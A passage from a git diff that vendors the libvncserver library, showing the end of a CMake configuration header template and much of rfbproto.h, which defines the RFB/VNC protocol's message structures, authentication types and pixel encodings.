LIBVNCSERVER_ENOENT_WORKAROUND 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine LIBVNCSERVER_HAVE_ENDIAN_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine LIBVNCSERVER_HAVE_FCNTL_H 1 + +/* Define to 1 if you have the `gettimeofday' function. */ +#cmakedefine LIBVNCSERVER_HAVE_GETTIMEOFDAY 1 + +/* Define to 1 if you have the `ftime' function. */ +#cmakedefine LIBVNCSERVER_HAVE_FTIME 1 + +/* Define to 1 if you have the `gethostbyname' function. */ +#cmakedefine LIBVNCSERVER_HAVE_GETHOSTBYNAME 1 + +/* Define to 1 if you have the `gethostname' function. */ +#cmakedefine LIBVNCSERVER_HAVE_GETHOSTNAME 1 + +/* Define to 1 if you have the `inet_ntoa' function. */ +#cmakedefine LIBVNCSERVER_HAVE_INET_NTOA 1 + +/* Define to 1 if you have the `memmove' function. */ +#cmakedefine LIBVNCSERVER_HAVE_MEMMOVE 1 + +/* Define to 1 if you have the `memset' function. */ +#cmakedefine LIBVNCSERVER_HAVE_MEMSET 1 + +/* Define to 1 if you have the `mkfifo' function. */ +#cmakedefine LIBVNCSERVER_HAVE_MKFIFO 1 + +/* Define to 1 if you have the `select' function. */ +#cmakedefine LIBVNCSERVER_HAVE_SELECT 1 + +/* Define to 1 if you have the `socket' function. */ +#cmakedefine LIBVNCSERVER_HAVE_SOCKET 1 + +/* Define to 1 if you have the `strchr' function. */ +#cmakedefine LIBVNCSERVER_HAVE_STRCHR 1 + +/* Define to 1 if you have the `strcspn' function. */ +#cmakedefine LIBVNCSERVER_HAVE_STRCSPN 1 + +/* Define to 1 if you have the `strdup' function. */ +#cmakedefine LIBVNCSERVER_HAVE_STRDUP 1 + +/* Define to 1 if you have the `strerror' function. */ +#cmakedefine LIBVNCSERVER_HAVE_STRERROR 1 + +/* Define to 1 if you have the `strstr' function. */ +#cmakedefine LIBVNCSERVER_HAVE_STRSTR 1 + +/* Define to 1 if you have the `jpeg' library (-ljpeg). */ +#cmakedefine LIBVNCSERVER_HAVE_LIBJPEG 1 + +/* Define if you have the `png' library (-lpng). */ +#cmakedefine LIBVNCSERVER_HAVE_LIBPNG 1 + +/* Define to 1 if you have the `pthread' library (-lpthread). */ +#cmakedefine LIBVNCSERVER_HAVE_LIBPTHREAD 1 + +/* Define to 1 if you have the `z' library (-lz). */ +#cmakedefine LIBVNCSERVER_HAVE_LIBZ 1 + +/* Define to 1 if you have the `lzo2' library (-llzo2). */ +#cmakedefine LIBVNCSERVER_HAVE_LZO 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine LIBVNCSERVER_HAVE_NETINET_IN_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine LIBVNCSERVER_HAVE_SYS_ENDIAN_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine LIBVNCSERVER_HAVE_SYS_SOCKET_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine LIBVNCSERVER_HAVE_SYS_STAT_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine LIBVNCSERVER_HAVE_SYS_TIME_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine LIBVNCSERVER_HAVE_SYS_TYPES_H 1 + +/* Define to 1 if you have that is POSIX.1 compatible. */ +#cmakedefine LIBVNCSERVER_HAVE_SYS_WAIT_H 1 + +/* Define to 1 if you have */ +#cmakedefine LIBVNCSERVER_HAVE_SYS_UIO_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine LIBVNCSERVER_HAVE_UNISTD_H 1 + +/* Define to 1 if you have the `vfork' function. */ +#cmakedefine LIBVNCSERVER_HAVE_VFORK 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine LIBVNCSERVER_HAVE_VFORK_H 1 + +/* Define to 1 if you have the `vprintf' function. */ +#cmakedefine LIBVNCSERVER_HAVE_VPRINTF 1 + +/* Define to 1 if `fork' works. */ +#cmakedefine LIBVNCSERVER_HAVE_WORKING_FORK 1 + +/* Define to 1 if `vfork' works. */ +#cmakedefine LIBVNCSERVER_HAVE_WORKING_VFORK 1 + +/* Define to 1 if `mmap' exists. */ +#cmakedefine LIBVNCSERVER_HAVE_MMAP 1 + +/* Define to 1 if `fork' exists. */ +#cmakedefine LIBVNCSERVER_HAVE_FORK 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine LIBVNCSERVER_HAVE_WS2TCPIP_H 1 + +/* Enable IPv6 support */ +#cmakedefine LIBVNCSERVER_IPv6 1 + +/* Need a typedef for in_addr_t */ +#cmakedefine LIBVNCSERVER_NEED_INADDR_T 1 + +/* Define to the full name and version of this package. */ +#define LIBVNCSERVER_PACKAGE_STRING "@FULL_PACKAGE_NAME@ @PACKAGE_VERSION@" + +/* Define to the version of this package. */ +#define LIBVNCSERVER_PACKAGE_VERSION "@PACKAGE_VERSION@" +#define LIBVNCSERVER_VERSION "@PACKAGE_VERSION@" +#define LIBVNCSERVER_VERSION_MAJOR "@VERSION_MAJOR@" +#define LIBVNCSERVER_VERSION_MINOR "@VERSION_MINOR@" +#define LIBVNCSERVER_VERSION_PATCHLEVEL "@VERSION_PATCHLEVEL@" + +/* Define to 1 if libgcrypt is present */ +#cmakedefine LIBVNCSERVER_WITH_CLIENT_GCRYPT 1 + +/* Define to 1 if GnuTLS is present */ +#cmakedefine LIBVNCSERVER_HAVE_GNUTLS 1 + +/* Define to 1 if OpenSSL is present */ +#cmakedefine LIBVNCSERVER_HAVE_LIBSSL 1 + +/* Define to 1 if Cyrus SASL is present */ +#cmakedefine LIBVNCSERVER_HAVE_SASL 1 + +/* Define to 1 to build with websockets */ +#cmakedefine LIBVNCSERVER_WITH_WEBSOCKETS 1 + +/* Define to 1 if your processor stores words with the most significant byte + first (like Motorola and SPARC, unlike Intel and VAX). */ +#cmakedefine LIBVNCSERVER_WORDS_BIGENDIAN 1 + +/* Define to empty if `const' does not conform to ANSI C. */ +/* #cmakedefine const @CMAKE_CONST@ */ + +/* Define to `__inline__' or `__inline' if that's what the C compiler + calls it, or to nothing if 'inline' is not supported under any name. */ +/* #ifndef __cplusplus */ +/* #cmakedefine inline @CMAKE_INLINE@ */ +/* #endif */ + +/* Define to `int' if does not define. */ +#cmakedefine HAVE_LIBVNCSERVER_PID_T 1 +#ifndef HAVE_LIBVNCSERVER_PID_T +typedef int pid_t; +#endif + +/* The type for size_t */ +#cmakedefine HAVE_LIBVNCSERVER_SIZE_T 1 +#ifndef HAVE_LIBVNCSERVER_SIZE_T +typedef int size_t; +#endif + +/* The type for socklen */ +#cmakedefine HAVE_LIBVNCSERVER_SOCKLEN_T 1 +#ifndef HAVE_LIBVNCSERVER_SOCKLEN_T +typedef int socklen_t; +#endif + +/* once: _RFB_RFBCONFIG_H */ +#endif diff --git a/3rdparty/libvncserver/rfb/rfbproto.h b/3rdparty/libvncserver/rfb/rfbproto.h new file mode 100644 index 0000000..dfb2c28 --- /dev/null +++ b/3rdparty/libvncserver/rfb/rfbproto.h @@ -0,0 +1,1461 @@ +#ifndef RFBPROTO_H +#define RFBPROTO_H + +/** + @mainpage + @li @ref libvncserver_api + @li @ref libvncserver_doc + + + @li @ref libvncclient_api + @li @ref libvncclient_doc + +*/ + +/* + * Copyright (C) 2009-2010 D. R. Commander. All Rights Reserved. + * Copyright (C) 2005 Rohit Kumar, Johannes E. Schindelin + * Copyright (C) 2004-2008 Sun Microsystems, Inc. All Rights Reserved. + * Copyright (C) 2000-2002 Constantin Kaplinsky. All Rights Reserved. + * Copyright (C) 2000 Tridia Corporation. All Rights Reserved. + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +/* + * rfbproto.h - header file for the RFB protocol version 3.3 + * + * Uses types CARD for an n-bit unsigned integer, INT for an n-bit signed + * integer (for n = 8, 16 and 32). + * + * All multiple byte integers are in big endian (network) order (most + * significant byte first). Unless noted otherwise there is no special + * alignment of protocol structures. + * + * + * Once the initial handshaking is done, all messages start with a type byte, + * (usually) followed by message-specific data. The order of definitions in + * this file is as follows: + * + * (1) Structures used in several types of message. + * (2) Structures used in the initial handshaking. + * (3) Message types. + * (4) Encoding types. + * (5) For each message type, the form of the data following the type byte. + * Sometimes this is defined by a single structure but the more complex + * messages have to be explained by comments. + */ + +#include + +#if defined(WIN32) && !defined(__MINGW32__) +#define LIBVNCSERVER_WORDS_BIGENDIAN +typedef int8_t rfbBool; +#include +#include +#endif +#include + +#ifdef LIBVNCSERVER_HAVE_LIBZ +#include +#ifdef __CHECKER__ +#undef Z_NULL +#define Z_NULL NULL +#endif +#endif + +#if LIBVNCSERVER_HAVE_ENDIAN_H +# include +# if __BYTE_ORDER == __BIG_ENDIAN +# define LIBVNCSERVER_WORDS_BIGENDIAN 1 +# endif +#endif + +/* MS compilers don't have strncasecmp */ +#ifdef _MSC_VER +#define strncasecmp _strnicmp +#endif + +#define rfbMax(a,b) (((a)>(b))?(a):(b)) +#if !defined(WIN32) || defined(__MINGW32__) +#ifdef LIBVNCSERVER_HAVE_SYS_TIME_H +#include +#endif +#ifdef LIBVNCSERVER_HAVE_NETINET_IN_H +#include +#endif +#define SOCKET int +typedef int8_t rfbBool; +#undef FALSE +#define FALSE 0 +#undef TRUE +#define TRUE -1 +#endif + +typedef uint32_t rfbKeySym; +typedef uint32_t rfbPixel; + +#ifdef LIBVNCSERVER_NEED_INADDR_T +typedef uint32_t in_addr_t; +#endif + +#ifndef INADDR_NONE +#define INADDR_NONE ((in_addr_t) 0xffffffff) +#endif + +#define MAX_ENCODINGS 64 + +/***************************************************************************** + * + * Structures used in several messages + * + *****************************************************************************/ + +/*----------------------------------------------------------------------------- + * Structure used to specify a rectangle. This structure is a multiple of 4 + * bytes so that it can be interspersed with 32-bit pixel data without + * affecting alignment. + */ + +typedef struct { + uint16_t x; + uint16_t y; + uint16_t w; + uint16_t h; +} rfbRectangle; + +#define sz_rfbRectangle 8 + + +/*----------------------------------------------------------------------------- + * Structure used to specify pixel format. + */ + +typedef struct { + + uint8_t bitsPerPixel; /* 8,16,32 only */ + + uint8_t depth; /* 8 to 32 */ + + uint8_t bigEndian; /* True if multi-byte pixels are interpreted + as big endian, or if single-bit-per-pixel + has most significant bit of the byte + corresponding to first (leftmost) pixel. Of + course this is meaningless for 8 bits/pix */ + + uint8_t trueColour; /* If false then we need a "colour map" to + convert pixels to RGB. If true, xxxMax and + xxxShift specify bits used for red, green + and blue */ + + /* the following fields are only meaningful if trueColour is true */ + + uint16_t redMax; /* maximum red value (= 2^n - 1 where n is the + number of bits used for red). Note this + value is always in big endian order. */ + + uint16_t greenMax; /* similar for green */ + + uint16_t blueMax; /* and blue */ + + uint8_t redShift; /* number of shifts needed to get the red + value in a pixel to the least significant + bit. To find the red value from a given + pixel, do the following: + 1) Swap pixel value according to bigEndian + (e.g. if bigEndian is false and host byte + order is big endian, then swap). + 2) Shift right by redShift. + 3) AND with redMax (in host byte order). + 4) You now have the red value between 0 and + redMax. */ + + uint8_t greenShift; /* similar for green */ + + uint8_t blueShift; /* and blue */ + + uint8_t pad1; + uint16_t pad2; + +} rfbPixelFormat; + +#define sz_rfbPixelFormat 16 + +/* UltraVNC: Color settings values */ +#define rfbPFFullColors 0 +#define rfbPF256Colors 1 +#define rfbPF64Colors 2 +#define rfbPF8Colors 3 +#define rfbPF8GreyColors 4 +#define rfbPF4GreyColors 5 +#define rfbPF2GreyColors 6 + + +/***************************************************************************** + * + * Initial handshaking messages + * + *****************************************************************************/ + +/*----------------------------------------------------------------------------- + * Protocol Version + * + * The server always sends 12 bytes to start which identifies the latest RFB + * protocol version number which it supports. These bytes are interpreted + * as a string of 12 ASCII characters in the format "RFB xxx.yyy\n" where + * xxx and yyy are the major and minor version numbers (for version 3.3 + * this is "RFB 003.003\n"). + * + * The client then replies with a similar 12-byte message giving the version + * number of the protocol which should actually be used (which may be different + * to that quoted by the server). + * + * It is intended that both clients and servers may provide some level of + * backwards compatibility by this mechanism. Servers in particular should + * attempt to provide backwards compatibility, and even forwards compatibility + * to some extent. For example if a client demands version 3.1 of the + * protocol, a 3.0 server can probably assume that by ignoring requests for + * encoding types it doesn't understand, everything will still work OK. This + * will probably not be the case for changes in the major version number. + * + * The format string below can be used in sprintf or sscanf to generate or + * decode the version string respectively. + */ + +#define rfbProtocolVersionFormat "RFB %03d.%03d\n" +#define rfbProtocolMajorVersion 3 +#define rfbProtocolMinorVersion 8 +/* UltraVNC Viewer examines rfbProtocolMinorVersion number (4, and 6) + * to identify if the server supports File Transfer + */ + +typedef char rfbProtocolVersionMsg[13]; /* allow extra byte for null */ + +#define sz_rfbProtocolVersionMsg 12 + +/* + * Negotiation of the security type (protocol version 3.7) + * + * Once the protocol version has been decided, the server either sends a list + * of supported security types, or informs the client about an error (when the + * number of security types is 0). Security type rfbSecTypeTight is used to + * enable TightVNC-specific protocol extensions. The value rfbSecTypeVncAuth + * stands for classic VNC authentication. + * + * The client selects a particular security type from the list provided by the + * server. + */ + +#define rfbSecTypeInvalid 0 +#define rfbSecTypeNone 1 +#define rfbSecTypeVncAuth 2 + + +/*----------------------------------------------------------------------------- + * Authentication + * + * Once the protocol version has been decided, the server then sends a 32-bit + * word indicating whether any authentication is needed on the connection. + * The value of this word determines the authentication scheme in use. For + * version 3.0 of the protocol this may have one of the following values: + */ + +#define rfbConnFailed 0 +#define rfbNoAuth 1 +#define rfbVncAuth 2 + +#define rfbRA2 5 +#define rfbRA2ne 6 +#define rfbSSPI 7 +#define rfbSSPIne 8 +#define rfbTight 16 +#define rfbUltra 17 +#define rfbTLS 18 +#define rfbVeNCrypt 19 +#define rfbSASL 20 +#define rfbARD 30 +#define rfbMSLogon 0xfffffffa + +#define rfbVeNCryptPlain 256 +#define rfbVeNCryptTLSNone 257 +#define rfbVeNCryptTLSVNC 258 +#define rfbVeNCryptTLSPlain 259 +#define rfbVeNCryptX509None 260 +#define rfbVeNCryptX509VNC 261 +#define rfbVeNCryptX509Plain 262 +#define rfbVeNCryptX509SASL 263 +#define rfbVeNCryptTLSSASL 264 + +/* + * rfbConnFailed: For some reason the connection failed (e.g. the server + * cannot support the desired protocol version). This is + * followed by a string describing the reason (where a + * string is specified as a 32-bit length followed by that + * many ASCII characters). + * + * rfbNoAuth: No authentication is needed. + * + * rfbVncAuth: The VNC authentication scheme is to be used. A 16-byte + * challenge follows, which the client encrypts as + * appropriate using the password and sends the resulting + * 16-byte response. If the response is correct, the + * server sends the 32-bit word rfbVncAuthOK. If a simple + * failure happens, the server sends rfbVncAuthFailed and + * closes the connection. If the server decides that too + * many failures have occurred, it sends rfbVncAuthTooMany + * and closes the connection. In the latter case, the + * server should not allow an immediate reconnection by + * the client. + */ + +#define rfbVncAuthOK 0 +#define rfbVncAuthFailed 1 +#define rfbVncAuthTooMany 2 + + +/*----------------------------------------------------------------------------- + * Client Initialisation Message + * + * Once the client and server are sure that they're happy to talk to one + * another, the client sends an initialisation message. At present this + * message only consists of a boolean indicating whether the server should try + * to share the desktop by leaving other clients connected, or give exclusive + * access to this client by disconnecting all other clients. + */ + +typedef struct { + uint8_t shared; +} rfbClientInitMsg; + +#define sz_rfbClientInitMsg 1 + + +/*----------------------------------------------------------------------------- + * Server Initialisation Message + * + * After the client initialisation message, the server sends one of its own. + * This tells the client the width and height of the server's framebuffer, + * its pixel format and the name associated with the desktop. + */ + +typedef struct { + uint16_t framebufferWidth; + uint16_t framebufferHeight; + rfbPixelFormat format; /* the server's preferred pixel format */ + uint32_t nameLength; + /* followed by char name[nameLength] */ +} rfbServerInitMsg; + +#define sz_rfbServerInitMsg (8 + sz_rfbPixelFormat) + + +/* + * Following the server initialisation message it's up to the client to send + * whichever protocol messages it wants. Typically it will send a + * SetPixelFormat message and a SetEncodings message, followed by a + * FramebufferUpdateRequest. From then on the server will send + * FramebufferUpdate messages in response to the client's + * FramebufferUpdateRequest messages. The client should send + * FramebufferUpdateRequest messages with incremental set to true when it has + * finished processing one FramebufferUpdate and is ready to process another. + * With a fast client, the rate at which FramebufferUpdateRequests are sent + * should be regulated to avoid hogging the network. + */ + + + +/***************************************************************************** + * + * Message types + * + *****************************************************************************/ + +/* server -> client */ + +#define rfbFramebufferUpdate 0 +#define rfbSetColourMapEntries 1 +#define rfbBell 2 +#define rfbServerCutText 3 +/* Modif sf@2002 */ +#define rfbResizeFrameBuffer 4 +#define rfbPalmVNCReSizeFrameBuffer 0xF + +/* client -> server */ + +#define rfbSetPixelFormat 0 +#define rfbFixColourMapEntries 1 /* not currently supported */ +#define rfbSetEncodings 2 +#define rfbFramebufferUpdateRequest 3 +#define rfbKeyEvent 4 +#define rfbPointerEvent 5 +#define rfbClientCutText 6 +/* Modif sf@2002 - actually bidirectionnal */ +#define rfbFileTransfer 7 +/* Modif sf@2002 */ +#define rfbSetScale 8 +/* Modif rdv@2002 */ +#define rfbSetServerInput 9 +/* Modif rdv@2002 */ +#define rfbSetSW 10 +/* Modif sf@2002 - TextChat - Bidirectionnal */ +#define rfbTextChat 11 +/* Modif cs@2005 */ +/* PalmVNC 1.4 & 2.0 SetScale Factor message */ +#define rfbPalmVNCSetScaleFactor 0xF +/* Xvp message - bidirectional */ +#define rfbXvp 250 + + + + +/***************************************************************************** + * + * Encoding types + * + *****************************************************************************/ + +#define rfbEncodingRaw 0 +#define rfbEncodingCopyRect 1 +#define rfbEncodingRRE 2 +#define rfbEncodingCoRRE 4 +#define rfbEncodingHextile 5 +#define rfbEncodingZlib 6 +#define rfbEncodingTight 7 +#define rfbEncodingTightPng 0xFFFFFEFC /* -260 */ +#define rfbEncodingZlibHex 8 +#define rfbEncodingUltra 9 +#define rfbEncodingTRLE 15 +#define rfbEncodingZRLE 16 +#define rfbEncodingZYWRLE 17 + +#define rfbEncodingH264 0x48323634 + +/* Cache & XOR-Zlib - rdv@2002 */ +#define rfbEncodingCache 0xFFFF0000 +#define rfbEncodingCacheEnable 0xFFFF0001 +#define rfbEncodingXOR_Zlib 0xFFFF0002 +#define rfbEncodingXORMonoColor_Zlib 0xFFFF0003 +#define rfbEncodingXORMultiColor_Zlib 0xFFFF0004 +#define rfbEncodingSolidColor 0xFFFF0005 +#define rfbEncodingXOREnable 0xFFFF0006 +#define rfbEncodingCacheZip 0xFFFF0007 +#define rfbEncodingSolMonoZip 0xFFFF0008 +#define rfbEncodingUltraZip 0xFFFF0009 + +/* Xvp pseudo-encoding */ +#define rfbEncodingXvp 0xFFFFFECB + +/* + * Special encoding numbers: + * 0xFFFFFD00 .. 0xFFFFFD05 -- subsampling level + * 0xFFFFFE00 .. 0xFFFFFE64 -- fine-grained quality level (0-100 scale) + * 0xFFFFFF00 .. 0xFFFFFF0F -- encoding-specific compression levels; + * 0xFFFFFF10 .. 0xFFFFFF1F -- mouse cursor shape data; + * 0xFFFFFF20 .. 0xFFFFFF2F -- various protocol extensions; + * 0xFFFFFF30 .. 0xFFFFFFDF -- not allocated yet; + * 0xFFFFFFE0 .. 0xFFFFFFEF -- quality level for JPEG compressor; + * 0xFFFFFFF0 .. 0xFFFFFFFF -- cross-encoding compression levels. + */ + +#define rfbEncodingFineQualityLevel0 0xFFFFFE00 +#define rfbEncodingFineQualityLevel100 0xFFFFFE64 +#define rfbEncodingSubsamp1X 0xFFFFFD00 +#define rfbEncodingSubsamp4X 0xFFFFFD01 +#define rfbEncodingSubsamp2X 0xFFFFFD02 +#define rfbEncodingSubsampGray 0xFFFFFD03 +#define rfbEncodingSubsamp8X 0xFFFFFD04 +#define rfbEncodingSubsamp16X 0xFFFFFD05 + +#define rfbEncodingCompressLevel0 0xFFFFFF00 +#define rfbEncodingCompressLevel1 0xFFFFFF01 +#define rfbEncodingCompressLevel2 0xFFFFFF02 +#define rfbEncodingCompressLevel3 0xFFFFFF03 +#define rfbEncodingCompressLevel4 0xFFFFFF04 +#define rfbEncodingCompressLevel5 0xFFFFFF05 +#define rfbEncodingCompressLevel6 0xFFFFFF06 +#define rfbEncodingCompressLevel7 0xFFFFFF07 +#define rfbEncodingCompressLevel8 0xFFFFFF08 +#define rfbEncodingCompressLevel9 0xFFFFFF09 + +#define rfbEncodingXCursor 0xFFFFFF10 +#define rfbEncodingRichCursor 0xFFFFFF11 +#define rfbEncodingPointerPos 0xFFFFFF18 + +#define rfbEncodingLastRect 0xFFFFFF20 +#define rfbEncodingNewFBSize 0xFFFFFF21 + +#define rfbEncodingQualityLevel0 0xFFFFFFE0 +#define rfbEncodingQualityLevel1 0xFFFFFFE1 +#define rfbEncodingQualityLevel2 0xFFFFFFE2 +#define rfbEncodingQualityLevel3 0xFFFFFFE3 +#define rfbEncodingQualityLevel4 0xFFFFFFE4 +#define rfbEncodingQualityLevel5 0xFFFFFFE5 +#define rfbEncodingQualityLevel6 0xFFFFFFE6 +#define rfbEncodingQualityLevel7 0xFFFFFFE7 +#define rfbEncodingQualityLevel8 0xFFFFFFE8 +#define rfbEncodingQualityLevel9 0xFFFFFFE9 + + +/* LibVNCServer additions. We claim 0xFFFE0000 - 0xFFFE00FF */ +#define rfbEncodingKeyboardLedState 0xFFFE0000 +#define rfbEncodingSupportedMessages 0xFFFE0001 +#define rfbEncodingSupportedEncodings 0xFFFE0002 +#define rfbEncodingServerIdentity 0xFFFE0003 + + +/***************************************************************************** + * + * Server -> client message definitions + * + *****************************************************************************/ + + +/*----------------------------------------------------------------------------- + * FramebufferUpdate - a block of rectangles to be copied to the framebuffer. + * + * This message consists of a header giving the number of rectangles of pixel + * data followed by the rectangles themselves. The header is padded so that + * together with the type byte it is an exact multiple of 4 bytes (to help + * with alignment of 32-bit pixels): + */ + +typedef struct { + uint8_t type; /* always rfbFramebufferUpdate */ + uint8_t pad; + uint16_t nRects; + /* followed by nRects rectangles */ +} rfbFramebufferUpdateMsg; + +#define sz_rfbFramebufferUpdateMsg 4 + +/* + * Each rectangle of pixel data consists of a header describing the position + * and size of the rectangle and a type word describing the encoding of the + * pixel data, followed finally by the pixel data. Note that if the client has + * not sent a SetEncodings message then it will only receive raw pixel data. + * Also note again that this structure is a multiple of 4 bytes. + */ + +typedef struct { + rfbRectangle r; + uint32_t encoding; /* one of the encoding types rfbEncoding... */ +} rfbFramebufferUpdateRectHeader; + +#define sz_rfbFramebufferUpdateRectHeader (sz_rfbRectangle + 4) + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * Supported Messages Encoding. This encoding does not contain any pixel data. + * Instead, it contains 2 sets of bitflags. These bitflags indicate what messages + * are supported by the server. + * rect->w contains byte count + */ + +typedef struct { + uint8_t client2server[32]; /* maximum of 256 message types (256/8)=32 */ + uint8_t server2client[32]; /* maximum of 256 message types (256/8)=32 */ +} rfbSupportedMessages; + +#define sz_rfbSupportedMessages 64 + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * Supported Encodings Encoding. This encoding does not contain any pixel data. + * Instead, it contains a list of (uint32_t) Encodings supported by this server. + * rect->w contains byte count + * rect->h contains encoding count + */ + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * Server Identity Encoding. This encoding does not contain any pixel data. + * Instead, it contains a text string containing information about the server. + * ie: "x11vnc: 0.8.1 lastmod: 2006-04-25 (libvncserver 0.9pre)\0" + * rect->w contains byte count + */ + + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * Raw Encoding. Pixels are sent in top-to-bottom scanline order, + * left-to-right within a scanline with no padding in between. + */ + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * KeyboardLedState Encoding. The X coordinate contains the Locked Modifiers + * so that a remote troubleshooter can identify that the users 'Caps Lock' + * is set... (It helps a *lot* when the users are untrained) + */ +#define rfbKeyboardMaskShift 1 +#define rfbKeyboardMaskCapsLock 2 +#define rfbKeyboardMaskControl 4 +#define rfbKeyboardMaskAlt 8 +#define rfbKeyboardMaskMeta 16 +#define rfbKeyboardMaskSuper 32 +#define rfbKeyboardMaskHyper 64 +#define rfbKeyboardMaskNumLock 128 +#define rfbKeyboardMaskScrollLock 256 +#define rfbKeyboardMaskAltGraph 512 + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * CopyRect Encoding. The pixels are specified simply by the x and y position + * of the source rectangle. + */ + +typedef struct { + uint16_t srcX; + uint16_t srcY; +} rfbCopyRect; + +#define sz_rfbCopyRect 4 + + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * RRE - Rise-and-Run-length Encoding. We have an rfbRREHeader structure + * giving the number of subrectangles following. Finally the data follows in + * the form [...] where each is + * []. + */ + +typedef struct { + uint32_t nSubrects; +} rfbRREHeader; + +#define sz_rfbRREHeader 4 + + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * CoRRE - Compact RRE Encoding. We have an rfbRREHeader structure giving + * the number of subrectangles following. Finally the data follows in the form + * [...] where each is + * []. This means that + * the whole rectangle must be at most 255x255 pixels. + */ + +typedef struct { + uint8_t x; + uint8_t y; + uint8_t w; + uint8_t h; +} rfbCoRRERectangle; + +#define sz_rfbCoRRERectangle 4 + + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * Hextile Encoding. The rectangle is divided up into "tiles" of 16x16 pixels, + * starting at the top left going in left-to-right, top-to-bottom order. If + * the width of the rectangle is not an exact multiple of 16 then the width of + * the last tile in each row will be correspondingly smaller. Similarly if the + * height is not an exact multiple of 16 then the height of each tile in the + * final row will also be smaller. Each tile begins with a "subencoding" type + * byte, which is a mask made up of a number of bits. If the Raw bit is set + * then the other bits are irrelevant; w*h pixel values follow (where w and h + * are the width and height of the tile). Otherwise the tile is encoded in a + * similar way to RRE, except that the position and size of each subrectangle + * can be specified in just two bytes. The other bits in the mask are as + * follows: + * + * BackgroundSpecified - if set, a pixel value follows which specifies + * the background colour for this tile. The first non-raw tile in a + * rectangle must have this bit set. If this bit isn't set then the + * background is the same as the last tile. + * + * ForegroundSpecified - if set, a pixel value follows which specifies + * the foreground colour to be used for all subrectangles in this tile. + * If this bit is set then the SubrectsColoured bit must be zero. + * + * AnySubrects - if set, a single byte follows giving the number of + * subrectangles following. If not set, there are no subrectangles (i.e. + * the whole tile is just solid background colour). + * + * SubrectsColoured - if set then each subrectangle is preceded by a pixel + * value giving the colour of that subrectangle. If not set, all + * subrectangles are the same colour, the foreground colour; if the + * ForegroundSpecified bit wasn't set then the foreground is the same as + * the last tile. + * + * The position and size of each subrectangle is specified in two bytes. The + * Pack macros below can be used to generate the two bytes from x, y, w, h, + * and the Extract macros can be used to extract the x, y, w, h values from + * the two bytes. + */ + +#define rfbHextileRaw (1 << 0) +#define rfbHextileBackgroundSpecified (1 << 1) +#define rfbHextileForegroundSpecified (1 << 2) +#define rfbHextileAnySubrects (1 << 3) +#define rfbHextileSubrectsColoured (1 << 4) + +#define rfbHextilePackXY(x,y) (((x) << 4) | (y)) +#define rfbHextilePackWH(w,h) ((((w)-1) << 4) | ((h)-1)) +#define rfbHextileExtractX(byte) ((byte) >> 4) +#define rfbHextileExtractY(byte) ((byte) & 0xf) +#define rfbHextileExtractW(byte) (((byte) >> 4) + 1) +#define rfbHextileExtractH(byte) (((byte) & 0xf) + 1) + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * zlib - zlib compressed Encoding. We have an rfbZlibHeader structure + * giving the number of bytes following. Finally the data follows is + * zlib compressed version of the raw pixel data as negotiated. + * (NOTE: also used by Ultra Encoding) + */ + +typedef struct { + uint32_t nBytes; +} rfbZlibHeader; + +#define sz_rfbZlibHeader 4 + +#ifdef LIBVNCSERVER_HAVE_LIBZ + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * Tight and TightPng Encoding. + * + *-- TightPng is like Tight but basic compression is not used, instead PNG + * data is sent. + * + *-- The first byte of each Tight-encoded rectangle is a "compression control + * byte". Its format is as follows (bit 0 is the least significant one): + * + * bit 0: if 1, then compression stream 0 should be reset; + * bit 1: if 1, then compression stream 1 should be reset; + * bit 2: if 1, then compression stream 2 should be reset; + * bit 3: if 1, then compression stream 3 should be reset; + * bits 7-4: if 1000 (0x08), then the compression type is "fill", + * if 1001 (0x09), then the compression type is "jpeg", + * (Tight only) if 1010 (0x0A), then the compression type is + * "basic" and no Zlib compression was used, + * (Tight only) if 1110 (0x0E), then the compression type is + * "basic", no Zlib compression was used, and a "filter id" byte + * follows this byte, + * (TightPng only) if 1010 (0x0A), then the compression type is + * "png", + * if 0xxx, then the compression type is "basic" and Zlib + * compression was used, + * values greater than 1010 are not valid. + * + * If the compression type is "basic" and Zlib compression was used, then bits + * 6..4 of the compression control byte (those xxx in 0xxx) specify the + * following: + * + * bits 5-4: decimal representation is the index of a particular zlib + * stream which should be used for decompressing the data; + * bit 6: if 1, then a "filter id" byte is following this byte. + * + *-- The data that follows after the compression control byte described + * above depends on the compression type ("fill", "jpeg", "png" or "basic"). + * + *-- If the compression type is "fill", then the only pixel value follows, in + * client pixel format (see NOTE 1). This value applies to all pixels of the + * rectangle. + * + *-- If the compression type is "jpeg" or "png", the following data stream + * looks like this: + * + * 1..3 bytes: data size (N) in compact representation; + * N bytes: JPEG or PNG image. + * + * Data size 